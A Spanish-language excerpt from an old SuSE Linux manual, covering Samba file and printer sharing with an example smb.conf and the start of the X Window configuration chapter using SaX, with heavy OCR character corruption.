El soporte de instalaci≤n no cubre la configuraci≤n de Samba (ver aparta-
do H.1.2 en la pßgina 541Cobertura del soporte de instalaci≤nsubsection.H.1.2).
1 ____________________________________________________
VΘase [BD99 ], el libro sobre Samba de Olaf Borkner-Delcarlo editado por SuSE PRESS .
*
* 227
7. Bailemos samba._._.____________________________________________________________________________________________________________*
*_______________________________________@
NetBIOS
NetBIOS es una interfaz para programas de aplicaci≤n (ingl. Application Pro-
gram Interface, API), que se dise±≤ para la comunicaci≤n entre computa-
doras. Entre otros, ofrece un servicio de nombres (ingl. name service) que
le permite a las computadoras reservarse un nombre en la red. DespuΘs de
haberlo reservado, se puede acceder a las computadoras con nombre. No ex-
iste ning·n control centralizado para otorgar o controlar los nombres. Cada
computadora puede reservar en la red tantos nombres como quiera, mientras
no se haya adelantado otro.
Se puede implementar la interfaz NetBIOS sobre diferentes arquitecturas de
red. Hay una implementaci≤n que se encuentra relativamente ''cerca'' al hard-
ware de red llamada NetBEUI . NetBEUI es lo que se denomina frecuente-
mente como NetBIOS .
NetBEUI trabaja con la direcci≤n de hardware que tiene cada tarjeta red para
direccionar los paquetes de informaci≤n a travΘs de la red. Esta direcci≤n
no tiene ~ como las direcciones IPX o IP ~ una estructura que proporcione
informaci≤n para ''enrutar'' (ingl. routing); por eso no se puede pasar paquetes
de NetBEUI a travΘs de enrutadores (ingl. router), lo que reduce una red con
NetBEUI a la zona que se puede alcanzar con repetidores o puentes (ingl.
bridges).
Otros protocolos de red que se han implementado con NetBIOS son IPX de
Novell y TCP/IP. El protocolo con el cual se mont≤ NetBIOS sobre TCP/IP,
se explica en RFC 1001 y 1002; RFC 1001 contiene ademßs una introducci≤n
bastante buena sobre los conceptos de NetBIOS; conocerla sirve mucho para
entender servicios como WINS 2 .
Los nombres de NetBIOS no tienen nada en com·n con aquellos asignados
en el fichero /etc/hosts o por DNS ~ NetBIOS es un ßrea de nombres com-
pletamente propio. Esto es vßlido tambiΘn para los nombres que se asignan en
la implementaci≤n de NetBIOS mediante TCP/IP. Sin embargo, para simpli-
ficar la administraci≤n se recomienda usar, como mφnimo para los servidores,
nombres de NetBIOS equivalentes a los del DNS. Samba lo hace por defecto.
Los clientes
Aparte de DOS y Windows 3.1, todos los sistemas operativos usuales de
los PC's soportan el protocolo SMB para la exportaci≤n e importaci≤n de
zonas de disco. Windows for Workgroups 3.11 (Windows para trabajo en
grupos) tambiΘn soporta SMB pero, con la instalaci≤n estßndar solo a travΘs
de IPX y NetBEUI. Para poder utilizar Samba, que ofrece SMB solo a
travΘs de TCP/IP, se precisa la instalaci≤n de un paquete de software gra-
tuito de Microsoft. Al igual existe tambiΘn software gratuito para DOS y
Windows 3.1, para posibilitar el acceso a Samba. El software se encuentra en
ftp://ftp.microsoft.com/bussys/Clients.
Los servidores SMB ofrecen a sus clientes espacio en disco en forma de
''Shares''. Un Share es un directorio en el servidor con todos los sub-
_____________________________________________2
WINS no es mßs que un servidor de nombres de NetBIOS ampliado. No es una idea de
Microsoft , solo el nombre es nuevo.
228
________________________________________________________________________________________7.2.__Instalaci≤n_del_servidor______*
*______________________
directorios. Este se exporta con un determinado nombre y los clientes pueden
acceder a Θl bajo este nombre. El nombre del Share es completamente libre,
no hace falta que coincida con el nombre del directorio exportado. De la
misma manera se asigna un nombre a una impresora exportada, para que los
clientes puedan acceder a ella.
Permisos de acceso
Un servidor NFS se configura a travΘs del fichero /etc/exports y las lim-
itaciones de acceso son siempre especφficas para una computadora. Esto es
razonable para el entorno Unix para el cual fue dise±ado, ya que las esta-
ciones de trabajo de Unix son clientes capaces de autentificar los usuarios.
Con la llegada de DOS y Windows, NFS ha dejado de ser algo seguro, ya que
en ellos todos los usuarios tienen derechos de superusuario. En este sentido,
los clientes NFS para DOS representan un problema de seguridad enorme.
Por el contrario, el protocolo SMB viene del mundo DOS y contempla los
problemas de seguridad directamente. Todos los accesos a un Share se prote-
gen con una contrase±a. Para realizarlo, SMB ofrece dos posibilidades:
o ''Share Level Security''
En este caso cada Share tiene una contrase±a fija. Cada persona que
conoce la contrase±a tiene acceso al Share.
o ''User Level Security''
Esta variante introduce el concepto de usuario SMB. Cada usuario tiene
que darse de alta en el servidor con una contrase±a propia. DespuΘs de
esto, el servidor puede otorgar derechos de acceso a los distintos Shares
en funci≤n del nombre de usuario.
o ''Server Level Security''
Samba aparenta frente a los clientes trabajar en el ''User Level Mode'',
pero en realidad pasa todas las peticiones de entrada a otra computadora
en ''User Level Mode'', que se encarga de la autentificaci≤n. Esta config-
uraci≤n precisa de un parßmetro adicional (password server =).
La decisi≤n sobre el tipo de autentificaci≤n es algo que afecta a todo el servi-
dor. No es posible exportar algunos shares en modalidad ''Share Level Secu-
rity'' y otros en ''User Level Security''.
El fichero /usr/doc/packages/samba/security_level.txt contiene
mßs informaci≤n al respecto.
7.2 Instalaci≤n del servidor
Los servicios de SMB se inician dando a la variable <START`SMB> del
fichero /etc/rc.config el valor yes (ver apartado 3.7.12 en la pßgi-
na 116Cambiar fichero de configuraci≤nsubsection.3.7.12).
El fichero /etc/smb.conf contiene prßcticamente todos las opciones config-
urables de Samba y su aspecto es similar al de un fichero-.INI de Windows.
Estß dividido en varios apartados con distintos parßmetros en cada uno. Cada
apartado describe siempre un Share que lleva su mismo nombre. Entre ellos
hay cuatro apartados especiales que son [global] , [ejemplo] , [cdrom] y
*
* 229
7. Bailemos samba._._.____________________________________________________________________________________________________________*
*_______________________________________@
[printers] . El apartado [global] contiene todos los parßmetros que se
refieren a la configuraci≤n global. Al generar el apartado [ejemplo] cada
cliente puede acceder sin contrase±a al Share [ejemplo] con los derechos
del usuario ''nobody''. Lo mismo es vßlido para el apartado [printers] ,
con el cual se ponen todas las impresoras definidas en /etc/printcap a
disposici≤n de los clientes, sin necesidad de mencionarlas explφcitamente.
smb.conf| *
* |
| *
* |
Un|ejemplo|muy simple se muestra en el fichero 7.2.1. *
* ||
________________________________________________________________________________________________________*
*________||
| [global] *
* |
| *
* |
| workgroup = grupo_de_trabajo *
* |
| guest account = nobody *
* |
| *
* |
| keep alive = 30 *
* |
| os level = 2 *
* |
| *
* |
| security = share *
* |
| printing = bsd *
* |
| printcap name = /etc/printcap *
* |
| *
* |
| load printers = yes *
* |
| *
* |
| *
* |
| [ejemplo] *
* |
| path = /home/ejemplo *
* |
| *
* |
| comment = directorio_ejemplar *
* |
| read only = no *
* |
| *
* |
| browseable = yes *
* |
| public = yes *
* |
| *
* |
| create mode = 0750 *
* |
| *
* |
| [cdrom] *
* |
| *
* |
| path = /cdrom *
* |
| comment = cdrom *
* |
| *
* |
| volume = "Soy_el_CD_ROM" *
* |
| read only = yes *
* |
| *
* |
| available = yes *
* |
| share modes = no *
* |
| *
* |
| browseable = yes *
* |
| public = yes *
* |
| *
* |
| *
* |
| [printers] *
* |
| comment = All Printers *
* |
| *
* |
| browseable = no *
* |
| printable = yes *
* |
| *
* |
| public = no *
* |
| read only = yes *
* |
| *
* |
| create mode = 0700 *
* |
| directory = /tmp *
* |
|_______________________________________________________________________________________________________*
*________ |
Fichero 7.2.1: Ejemplo de un fichero /etc/smb.conf
El fichero /etc/smb.conf del ejemplo proporciona a todos los usuarios
el directorio /home/beispiel y todas las impresoras anotadas en /etc/
printcap se proporcionan a todos los clientes.
230
________________________________________________________________________________________7.2.__Instalaci≤n_del_servidor______*
*______________________
o workgroup = grupo_de_trabajo
El servidor Samba estß asignado a un grupo de trabajo como todas las
computadoras con Windows y dentro de este grupo aparece en el ''Entorno
de red''. workgroup es el nombre por defecto del grupo de trabajo en la
versi≤n inglesa de Windows.
o guest account = nobody
Para determinadas tareas, Samba necesita un usuario dado de alta en
/etc/password, que puede no tener ning·n derecho en el sistema de
ficheros o bien, tener derechos mφnimos. Cuando se definen Shares con
acceso p·blico (parßmetro=public = yes ), todas las operaciones se ll-
evan a cabo con esta identificaci≤n de usuario. TambiΘn cuando no existe
ning·n Share p·blico, el guest account debe estar definido para que el
servidor Samba aparezca en el entorno de red.
o keep alive = 30
Las computadoras con Windows tienen la tendencia a colgarse de vez
en cuando. Cuando se dejan conexiones abiertas es posible que el
servidor lo note despuΘs de mucho rato, por lo tanto, el parßmetro
keep alive = 30 hace que Samba compruebe cada 30 segundos si
el cliente todavφa ''vive'', lo que evita el despilfarro de recursos en el
servidor por tener demasiados procesos abiertos.
o os level = 2
El parßmetro os level = 2 hace que Samba ofrezca servicios de nave-
gaci≤n para WfW y Windows 95. Si se encuentra una computadora con
Windows╤T en la red, Samba no ofrece este servicio si no se usa la com-
putadora con NT para ello.
o security = share
A este respecto ver el apartado sobre los derechos de acceso.
El apartado [ejemplo] define parßmetros para el directorio a exportar. Todos
los usuarios en la red pueden acceder a este directorio sin contrase±a ya que
public = yes estß validado; tambiΘn es asφ para el /cdrom exportado (de
este modo puede configurar con Samba p. ej. un ''Jukebox'' de bajo coste).
o path = /home/ejemplo
Con este path se exporta el directorio /home/ejemplo.
o comment = directorio_ejemplar
Cada Share de un servidor Samba puede tener un comentario con una
explicaci≤n del mismo.
o browsable = yes
Este comentario hace que el Share ejemplo sea visible en el entorno de
red.
o read only = no
Samba deniega por defecto el acceso de escritura a un Share exporta-
do, pero en este caso es necesario escribir sobre el Share, por lo tanto
read only = no .
o create mode = 750
*
* 231
7. Bailemos samba._._.____________________________________________________________________________________________________________*
*_______________________________________@
Las computadoras con Windows desconocen el concepto de derechos de
acceso, propio de Unix, lo que les impide definir los derechos de acceso
que deben tener los ficheros creados.
El parßmetro create mode determina con cußles derechos se deben crear
los ficheros.
o public = yes
Se permite el acceso como invitado (ingl. guest) a este Share, lo que
suprime la pregunta por una contrase±a! El usuario que entra de este
modo aparece como ''User nobody''.
________________________________________________________________________________________________________*
*________||
| Existe un programa denominado swat que permite administrar facilmente *
* ||||
| el servidor samba, ya que ofrece una interfaz de web sencilla para con- *
* |||
| *
* |||
| figurarlo c≤modamente. Hay mßs informaci≤n acerca de este programa *
* |||
| *
* |||
| en /usr/doc/packages/samba/htmldocs/swat.8.html o en la pßgi- *
* |||
| na del manual de swat (man swat ). *
* |||
|_______________________________________________________________________________________________________*
*________|||_
7.3 Instalaci≤n de los clientes
Primero hay que mencionar que los clientes solo pueden acceder al servidor
Samba vφa TCP/IP. Actualmente no es posible usar con Samba NetBEUI o
NetBIOS sobre IPX, pero como TCP/IP estß ganando cada vez mßs terreno ~
incluso en las aplicaciones de Novell y de Microsoft ~ es bastante cuestion-
able si esto cambiarß alg·n dφa.
Windows 95/98
Windows 95/98 trae el soporte de TCP/IP incorporado, pero al igual que
Windows 3.11 no se instala con la configuraci≤n por defecto. Para la in-
stalaci≤n de TCP/IP en un Windows ya instalado, se selecciona el icono de
red en el panel de control y despuΘs `Agregar...', `Protocolo' TCP/IP
de Microsoft. íDebe indicarse correctamente la direcci≤n y mßscara de
red (ver apartado 5 en la pßgina 153Conexiones en una red de ßrea local
(LAN)chapter.5)! DespuΘs del reinicio de la computadora con Windows
puede encontrar el servidor Samba en la red (doble-click con el mouse so-
bre el icono de red en el escritorio).
________________________________________________________________________________________________________*
*________||
| Para usar una impresora conectada al servidor Samba, se recomienda in- *
* ||||
| stalar en el cliente el driver general para impresoras PostScript o el usado *
* |||
| *
* |||
| para impresoras Postscript de Apple (se usan los drivers que vienen junto *
* |||
| con la versi≤n de Windows). DespuΘs se conecta con la cola de impresi≤n *
* |||
| *
* |||
| de Linux, que contiene el reconocimiento automßtico con apsfilter. *
* |||
|_______________________________________________________________________________________________________*
*________|||_
7.4 Optimizaci≤n
Recordamos que la utilidad de la configuraci≤n expuesta anteriormente se
reduce al uso privado y no es de uso comercial.
La configuraci≤n por defecto en /etc/smb.conf es muy lenta, asφ que a
continuaci≤n presentamos un par de propuestas ·tiles para optimizar.
232
_______________________________________________________________________________________________________7.4.__Optimizaci≤n_____*
*____________________
o socket options = TCP_NODELAY
El protocolo TCP/IP siempre intenta juntar varios bloques peque±os de
datos. Como Samba trabaja siempre con muchos de estos bloques, la
prßctica muestra que es mejor prescindir de este caracterφstica de TCP/IP,
usando la opci≤n socket options = TCP_NODELAY .
o oplocks = yes
Con esta opci≤n, los accesos de escritura a ficheros modificados no se
realizan antes de la aparici≤n de un acceso de lectura por parte de otro
cliente al mismo fichero. Asφ se cumple la funci≤n de una cachΘ de
escritura.
o write raw = yes
Raw write permite enviar 65535 bytes en cada paquete de datos, lo que
puede resultar en un aumento significativo de velocidad. En caso de
tarjetas de red baratas (de poca calidad) puede ser mejor dejar esta opci≤n
en write raw = no .
o read raw = yes
Funciona como write raw = yes , pero contempla la lectura de datos.
_______________________________________________________________________________________________________________________||
|||||||| Los ficheros /usr/doc/packages/samba/textdocs/Speed.txt y ||| |
|||||||| /usr/doc/packages/samba/textdocs/Speed2.txt le brindan ayuda || |
|||||||| || |
|||||||| adicional y muchos trucos para la optimizaci≤n. || |
||||||||_______________________________________________________________________________________________________________||_
*
* 233
7. Bailemos samba._._.____________________________________________________________________________________________________________*
*_______________________________________@
234
Parte IV
El sistema X Window
235
Capφtulo 8
El sistema X Window
El X Window System es prßcticamente un estßndar para entornos grßficos
de usuario en Unix. Pero eso no es todo sobre el sistema X Window, X11
es un sistema para redes. Las aplicaciones que corren en la computadora
tierra pueden mostrar sus salidas de pantalla en la computadora sol, si
las computadoras estßn conectadas vφa red. Esta red puede ser una LAN
(Local Area Network ~ red de ßrea local), pero tambiΘn es posible que las
computadoras se comuniquen a travΘs de miles de kil≤metros usando Internet.
X11 se desarroll≤ gracias a la cooperaci≤n entre DEC (Digital Equipment
Corporation ) y el proyecto Athena del MIT (Massachusetts Institute of Tech-
nology ). La primera versi≤n (X11R1 ) sali≤ en septiembre de 1987. Desde la
versi≤n 6 (Release 6) la X Consortium, Inc., y desde 1996 The Open Group
acogieron el desarrollo del X Window System .
XFree86 TM es una implementaci≤n libre de servidores X para sistemas Unix
a base de PC (ver http://www.XFree86.org). XFree86 se sigue desarrol-
lando por programadores en todo el mundo, que se unieron en 1992 para for-
mar el XFree86-Team. De esta uni≤n surgi≤ en 1994 la empresa The XFree86
Project, Inc. cuyo objetivo es poner XFree86 TM a la disposici≤n de un amplio
p·blico y contribuir con el desarrollo e investigaci≤n del sistema X Window.
No queremos continuar sin antes agradecer al XFree86-Team por su gran
cooperaci≤n y por haber cedido versiones-beta que han sido cruciales para la
elaboraci≤n de este documento1 .
Los siguientes capφtulos se ocupan de la configuraci≤n del servidor X ~ cosa
que era un tanto complicada en tiempos pasados. Con este fin se explican
los programas SaX (sax )2 y xf86config , que permiten una configuraci≤n
simple del sistema X Window. En comparaci≤n a xf86config, SaX trabaja
directamente con el servidor X y se puede usar con el mouse. Asφ que lo
mejor es instalar directamente con YaST el programa SaX (paquete sax,
serie x, y los paquetes pendientes, especialmente el paquete xvga16 ) y
tambiΘn ~ si ya se conoce ~ el servidor X que corresponde a la tarjeta grßfica.
Los servidores X se encuentran en la serie serie xsrv (ver apartado 3.5.3 en la
pßgina 97Cambiar / Crear configuraci≤nsubsection.3.5.3). Si se olvida elegir
un servidor X, SaX lo notarß y procederß a instalarlo vφa YaST .
1 ____________________________________________________
Algunas partes de la descripci≤n del sistema X11 se sacaron del capφtulo Configurar XFree86
del libro [HHMK96 ] que nos dej≤ amablemente Dirk Hohndel.
2 SaX , (ingl. SuSE Advanced X Configuration Tool), hace obsoleto a XF86Setup (paquete
xfsetup, serie x).
*
* 237
8. El sistema X Window____________________________________________________________________________________________________________*
*_______________________________________@
Para usar el hardware existente (tarjeta de vφdeo, monitor, teclado) de manera
≤ptima, existe la posibilidad de optimizar la configuraci≤n a mano. Solamente
se discutirßn los aspectos mßs importantes de esta optimizaci≤n manual. Var-
ios ficheros del directorio /usr/doc/packages/xf86 al igual que la pßgina
del manual de XF86Config (man XF86Config ) contienen informaci≤n adi-
cional sobre el sistema X Window.
________________________________________________________________________________________________________*
*________|||
| íAl configurar el sistema X Window se recomienda tener mucho cuidado! *
* ||||
| *
* |||
| Jamßs se debe arrancar X sin haber terminado la configuraci≤n. Un sis- *
* |||
| tema mal ajustado puede provocar da±os irreparables al hardware; estßn *
* |||
| *
* |||
| en peligro especialmente los monitores de frecuencia fija. *
* |||
| Los autores de este libro y la SuSE GmbH no se responsabilizan de posi- *
* |||
| *
* |||
| bles da±os. El texto presente fue redactado con mßximo cuidado, no ob- *
* |||
| stante no se puede garantizar que los mΘtodos presentados sean correctos *
* |||
| *
* |||
| para su hardware y que no pueda da±arse. *
* |||
|_______________________________________________________________________________________________________*
*________|||_
8.1 Configuraci≤n con SaX
El programa SaX , (ingl. SuSE Advanced X Configuration Tool), sirve para
una instalaci≤n fßcil del sistema X Window. Se puede utilizar por completo
con el mouse o el teclado directamente sobre una superficie grßfica. Aparte
de algunos casos especiales, p. ej. hardware muy antiguo o muy nuevo, es
capaz de reconocer los componentes por sφ mismo y asφ facilitar al mßximo la
configuraci≤n de un servidor X Window.
8.1.1 Primera instalaci≤n
Para instalar por primera vez el sistema X Window ~ el entorno grßfico de
todos los sistemas Linux ~ hay que conocer algunas especificaciones del
ordenador:
o El tipo de monitor utilizado (nombre y marca).
o El tipo de teclado.
o El tipo de mouse y el puerto de conexi≤n.
o El fabricante y el nombre de la tarjeta grßfica.
________________________________________________________________________________________________________*
*________
| Ejecute el programa SaX (sax ) como usuario `root'. TambiΘn puede ini- *
* ||||
| *
* |||
| ciarlo desde YaST : `Administraci≤n de sistema' y despuΘs `Con- *
* |||
| *
* |||
| figurar XFree86[tm]' (ver apartado 3.7 en la pßgina 102Adminis- *
* |||
| traci≤n del sistemasection.3.7). *
* |||
|_______________________________________________________________________________________________________*
*________|||_
En la lφnea de comando (el prompt de Linux) el programa se inicia con el
comando:
tierra:/root # sax
DespuΘs del inicio se buscan tarjetas de expansi≤n del tipo PCI. Si se encuen-
tra una tarjeta de vφdeo de este tipo, el programa la identifica y la muestra
bajo `Tarjeta grßfica'.
DespuΘs de haber escaneado el Bus-PCI se abre la pantalla principal, que
contiene las fichas para el mouse `Rat≤n', el teclado `Teclado', la tarjeta
238
________________________________________________________________________________________8.1.__Configuraci≤n_con_SaX_________*
*______________________
de vφdeo `Tarjeta grßfica', el monitor `Monitor' y la superficie grßfica
`Escritorio'. SaX carga entonces los datos sobre el hardware conocido.
Los datos encontrados durante la comprobaci≤n se encuentran despuΘs bajo
sus respectivas fichas, asφ que la tarjeta grßfica que se tenga se encuentra en
la ficha `Tarjeta grßfica'.
SaX trata de reconocer el hardware del modo mßs exacto posible, no obstante,
se recomienda comprobar y en su caso corregir todos los ajustes que hace SaX
para asegurarse de que todo estß bien y completo!
Para ello el programa ofrece bßsicamente cinco ''fichas'' que son: `Rat≤n',
`Teclado', `Tarjeta grßfica', `Monitor' y `Escritorio'. A todas
las fichas se accede con un click del mouse sobre el correspondiente tφtulo.
Existe tambiΘn la posibilidad de manejar el programa con el teclado para el
caso en que el mouse todavφa_no estΘ_configurado_correctamente. Pulsando
varias veces la tecla |T____a|b(= |T____a|b) se puede_llegar a los distintos campos de
cada ficha. Para cambiar a otra ficha se pulsa |T____a|bhasta que el_tφtulo_de_la_
ficha actual se enmarque en negro. A continuaci≤n_ se__usa_ |___|_o |___|!para
seleccionar la ficha que se mostrarß pulsando |_____-|(= |E_______n|ter). En cada ficha
hay varios elementos como p. ej. botones (ingl. buttons), listas de selecci≤n
(ingl. listboxes) y cuadros de texto (ingl. entry fields). Estos objetos se pueden
manipular tambiΘn por completo_con el teclado. Para alcanzar un bot≤n (p. ej.
`Aplicar')_se_pulsa_|T____a|bhasta_que el bot≤n deseado se enmarque en negro.
Con _-|||||_o |_____________|se_puede pulsar la tecla y asφ poner en marcha la acci≤n
deseada. Con |F____1|0se llega a las opciones de men· en el extremo superior de
la pantalla.
Para seleccionar una opci≤n de una_ lista_ se pulsa | _____|Tabhasta que el cuadro
correspondiente se enmarque. Con |"_ |y |#_ | se puede seleccionar la opci≤n
que se encuentra resaltada__por_ la barra de desplazamiento. Finalmente la
opci≤n se activa pulsando |E_______n|ter.
El mouse
(rat≤n)
La primera ficha que se ve despuΘs del arranque del programa es la del mouse
`Rat≤n' (figura 8.1 en la pßgina siguiente).
Si el mouse ya fue configurado durante la primera instalaci≤n de Linux, p. ej.
configurando gpm , estos datos se traspasan a SaX y el mouse estß directa-
mente a disposici≤n cuando se inicia SaX . En este caso se puede continuar
de inmediato con la configuraci≤n de los demßs dispositivos.
Si por el contrario no estuviera_configurado el mouse, se tendrφa que hacer
ahora. Pulsar dos veces_|T____a|by_seleccionar el mouse adecuado_bajo_`Fab-
ricante' (repasar con |"_ |y |#__|la_lista). DespuΘs pulsar |E_______n|terpara fijar el
fabricante seleccionado. Usar |T____a|bpara activar la lista de los modelos `Mod-
elo' y seleccionar el tipo correcto. Pulsando la tecla `Aplicar' es posible
comprobar si la selecci≤n es correcta, ya que la flecha del mouse se deberφa
mover ahora.
El sub-men· por debajo de `Experto' permite definir directamente un pro-
tocolo de mouse, lo que se deberφa hacer cuando no se sabe quΘ tipo de mouse
*
* 239
8. El sistema X Window____________________________________________________________________________________________________________*
*_______________________________________@
Figura 8.1: SaX : Ajustes del mouse
se tiene y cuando ya se ha intentado sin Θxito usar el mouse de puerto serie
como mouse `Microsoft' del tipo `Standard Mouse'. Allφ se pueden
activar tambiΘn opciones adicionales como p. ej. la transferencia en baudios,
emulaci≤n de tres teclas, etc. Las opciones de `Experto' son en detalle las
siguientes:
Figura 8.2: SaX : Ajustes adicionales para configurar el mouse
`Dispositivo': (Driver) En el caso de un fabricante desconocido se puede
definir aquφ el `Protocolo' de mouse directamente. TambiΘn se debe
elegir el tipo de dispositivo. En caso de un mouse conectado al bus, se
deberφa probar la variante PS/2.
`Propiedades': Definir parßmetros detallados sobre el tiempo de respuesta
del mouse.
`Opciones': Emulaci≤n de mouse de 3 botones, etc.
240
________________________________________________________________________________________8.1.__Configuraci≤n_con_SaX_________*
*______________________
`Probar': En la parte inferior del mouse simb≤lico de la `Zona de prue-
bas', se puede comprobar la configuraci≤n del mouse (figura 8.2 en la
pßgina anterior); si estß bien ajustado, los botones del mouse en el dibujo
se alumbran cuando se pulsa uno de los botones reales.
El teclado
El teclado por defecto es uno del tipo Windows 95/98 con la distribuci≤n de
teclado Spanish (figura 8.3). Si se tiene otro, se deben poner los valores
correctos, ya que el teclado es uno de los pocos componentes que no pueden
ser reconocidos automßticamente.
Figura 8.3: SaX : Teclado
Comparando el teclado con el que se muestra en pantalla `Teclado', es
fßcil ajustar el modelo adecuado bajo `Modelo'. Tampoco hay que olvidar
de poner bajo `Lenguaje' `Espa±ol' para que todos los caracteres salgan
correctamente. Esto se puede comprobar en un ßrea de pruebas al lado del
bot≤n `Borrar'.
Lo mßs probable es que no haga falta ajustar nada bajo `Experto'.
Al pulsar el bot≤n `Aplicar', los ajustes realmente se activan.
La tarjeta grßfica
En la ficha `Tarjeta grßfica' se puede seleccionar el fabricante en la lista
del lado izquierdo y, al lado derecho, el correspondiente modelo (figura 8.4
en la pßgina siguiente). SaX intenta reconocer la tarjeta grßfica por sφ mismo,
lo que generalmente funciona muy bien para tarjetas del tipo PCI. La utilidad
se apoya en un banco de datos amplio y actualizado sobre tarjetas de vφdeo;
ver el paquete cdb (ingl. Component Data Base). El hardware encontrado
resalta en color.
El bot≤n `Experto' alberga opciones de ajuste avanzadas (figura 8.5 en la
pßgina siguiente). Estas se tocan cuando se elige el servidor X directamente
*
* 241
8. El sistema X Window____________________________________________________________________________________________________________*
*_______________________________________@
Figura 8.4: SaX : Tarjeta de vφdeo
(`Parßmetros del servidor') o cuando se quiere especificar el tama±o
de la memoria de la tarjeta, especificar el valor de ''Ramdac'' o seleccionar un
Ramdac- o Clock-Chip (en `Chipsets'). Es aconsejable bajar el valor del
Ramdac cuando aparecen imßgenes raras efectuando operaciones de ventana,
p. ej. cuando parpadean fragmentos de la lφnea de tφtulo de una ventana.
Figura 8.5: SaX : Tarjeta de vφdeo ~ Opciones especiales
Algunas tarjetas de vφdeo necesitan `Opciones' especiales, que encuentran
su lugar en el men· ampliado. Para el caso estßndar no se necesitan estas
opciones.
________________________________________________________________________________________________________*
*________||
| Las tarjetas del tipo ISA no se reconocen automßticamente; hay que elegir *
* ||||
| el servidor X adecuado ''a mano''. *
* |||
|_______________________________________________________________________________________________________*
*________|||_
242
________________________________________________________________________________________8.1.__Configuraci≤n_con_SaX_________*
*______________________
Si aparece el mensaje de error "The SVGA server is not installed..."
cuando se estß seleccionando la tarjeta grßfica, hace falta instalar con YaST el
paquete indicado en dicho mensaje (ver apartado 3.5 en la pßgina 96Escoger
/ Instalar paquetessection.3.5).
El Monitor
El ·ltimo obstßculo para llegar a correr el sistema X Window es la config-
uraci≤n del monitor usado. La ficha de `Monitor' funciona como la de la
tarjeta grßfica. En la lista a la izquierda se selecciona el fabricante del monitor
(`Fabricante') y en la derecha el tipo (`Modelo'). Si la propia pantalla no
se encontrara en la lista es posible definir los rangos de frecuencia horizon-
tal y vertical de su monitor pulsando el bot≤n `Experto'. Los rangos de
frecuencia se encuentran generalmente en el manual de su monitor.
Si no se tuviera ning·n dato sobre el monitor, SaX utiliza como valores pre-
determinados 29-61 kHz de frecuencia horizontal y 60-70 Hz de frecuencia
vertical. Estos valores no provocan da±os en la gran mayorφa de monitores.
No obstante, si la imagen se queda oscura o si parpadea mucho cuando ar-
ranca el servidor X, entonces se__deberφa_ ''eliminar''_ el__servidor__inmediata-
mente con la combinaci≤n de teclas |C______|trl+ |A____l|t+ | ____7|;!| ____7|i!ndica la tecla
''Backspace'' para borrar hacia atrßs. íEn caso de no parar inmediatamente el
servidor X es posible que se da±e el monitor!
La pantalla
Si se ha tenido Θxito con la instalaci≤n de la tarjeta grßfica, se tiene una
multitud de resoluciones y de profundidades de color a disposici≤n, que se
administran en el men· `Escritorio' (figura 8.6 en la pßgina siguiente).
La ficha `Escritorio' tal vez se parece un poco al ajuste de pantalla de otro
sistema operativo ;-)
En el `Escritorio' se puede elegir para cada profundidad de color (`Col-
ores') una resoluci≤n (`Resoluci≤n').
En el modo de experto (`Experto') es posible generar una lista con varias
resoluciones para una determinada profundidad de color (`Expert' figu-
ra 8.7 en la pßgina siguiente).
`Resoluci≤n': Esta ficha se divide en:
`Posible' Resoluciones posibles.
`Actual' Resoluciones actuales.
`Colores' La lista con las profundidades de color.
Seleccionar en la fila vertical de botones al lado derecho, la profundidad
de color (`Colores') a la que se quiere configurar la resoluci≤n de pan-
talla.
El servidor X puede arrancar en distintas profundidades de color, p. ej. en
profundidad de 8 bit , equivalente a 256 colores que se pueden mostrar a
la vez. A cada profundidad de color corresponden diferentes resoluciones
de pantalla, p. ej. la resoluci≤n 800x600 , pero no todas las resoluciones
*
* 243
8. El sistema X Window____________________________________________________________________________________________________________*
*_______________________________________@
Figura 8.6: SaX : Desktop
Figura 8.7: SaX : Ajustes adicionales Desktop
existen para todas las profundidades de color. Por ejemplo una resoluci≤n
de 1600x1200 a profundidad de color de 32 bit es imposible para la
mayorφa de las tarjetas, porque no contienen suficiente memoria.
A una profundidad de 8 bit existen diferentes resoluciones desde p. ej.
640x480 hasta 1600x1200 , que estßn apuntadas en la lista actual de res-
oluciones. Durante la ejecuci≤n del servidor X se pueden cambiar tales
resoluciones seg·n el orden en la lista pulsando la combinaci≤n de teclas
|_______|Ctrl+ |_____A|lt+ |__|+o |_______|Ctrl+ |_____A|lt+ |__|-, (hay que usar |__|+o |__|-del *
*bloque de
teclas numΘricas). El primer elemento de la lista representa la resoluci≤n
en la que arranca el servidor X por defecto.
De la lista de las resoluciones posibles (`Posible'), hay que mover las
deseadas a la lista de las actuales (`Actual'). Para hacerlo se hace un
''click'' sobre la resoluci≤n en cuesti≤n y despuΘs sobre el bot≤n `E' para
244
________________________________________________________________________________________8.1.__Configuraci≤n_con_SaX_________*
*______________________
entrar esta resoluci≤n a la lista de las actuales y con `V' se quitan los
elementos de esta lista.
El orden de los elementos en la lista `Actual' se puede modificar usando
las teclas de flecha que estßn ubicadas por debajo de la ventana con el
listado. Para efectuarlo, se marca el elemento a mover y posteriormente
se pulsa con el bot≤n izquierdo del mouse la flecha arriba o abajo. Asφ el
elemento cambia de sitio con su sucesor o antecesor.
Cuando se hayan hecho los ajustes de profundidad de color de 8 bit , se
pueden usar los botones a la derecha para seleccionar otra profundidad,
p. ej. 16 bit . Ahora aparecen en la lista `Possible' las resoluciones
posibles para esta profundidad de color, que pueden ser manipuladas tal
como se ha indicado antes.
`Resoluci≤n virtual': Esta ficha permite configurar tama±os de pan-
talla virtuales. Si realmente se quiere tener una zona de pantalla virtual,
entonces hay que aumentar los valores bajo `Virtual X' (= Anchura) o
`Virtual Y' (= Altura). Por lo general se trata de algo no deseado.
Explicaci≤n: El sistema X Window ofrece la posibilidad de definir un
tama±o de escritorio virtual, lo que permite trabajar sobre un escritorio
mßs grande que la pantalla visible. Por ejemplo se puede trabajar con un
tama±o de escritorio de 1152x864 teniendo una resoluci≤n de monitor de
800x600 .
`Especial': Esta ficha permite generar una resoluci≤n propia. Ademßs se
puede definir aquφ la calidad (`Calidad')de los ''Modelines'', eligiendo
dos maneras diferentes de cßlculo de los mismos.
Ahora se puede determinar con cußl profundidad de color arranca por defecto
el servidor X, (ingl. default). Para ello hay que marcar en la ficha `Escrito-
rio' la profundidad de color deseada (usando `Colores'). DespuΘs de esto
se pulsa el bot≤n `Configurar este modo' para arrancar el servidor X de
prueba. . .
Prueba de la configuraci≤n
DespuΘs de un corto intervalo de cßlculo aparece un cuadro de mensaje; si
se estß de acuerdo se pulsa `Sφ'. DespuΘs deberφa aparecer una imagen de
fondo y una ventana que muestra en el lado izquierdo informaci≤n sobre la
resoluci≤n actual y las frecuencias verticales y horizontales del modo de vφdeo
elegido.
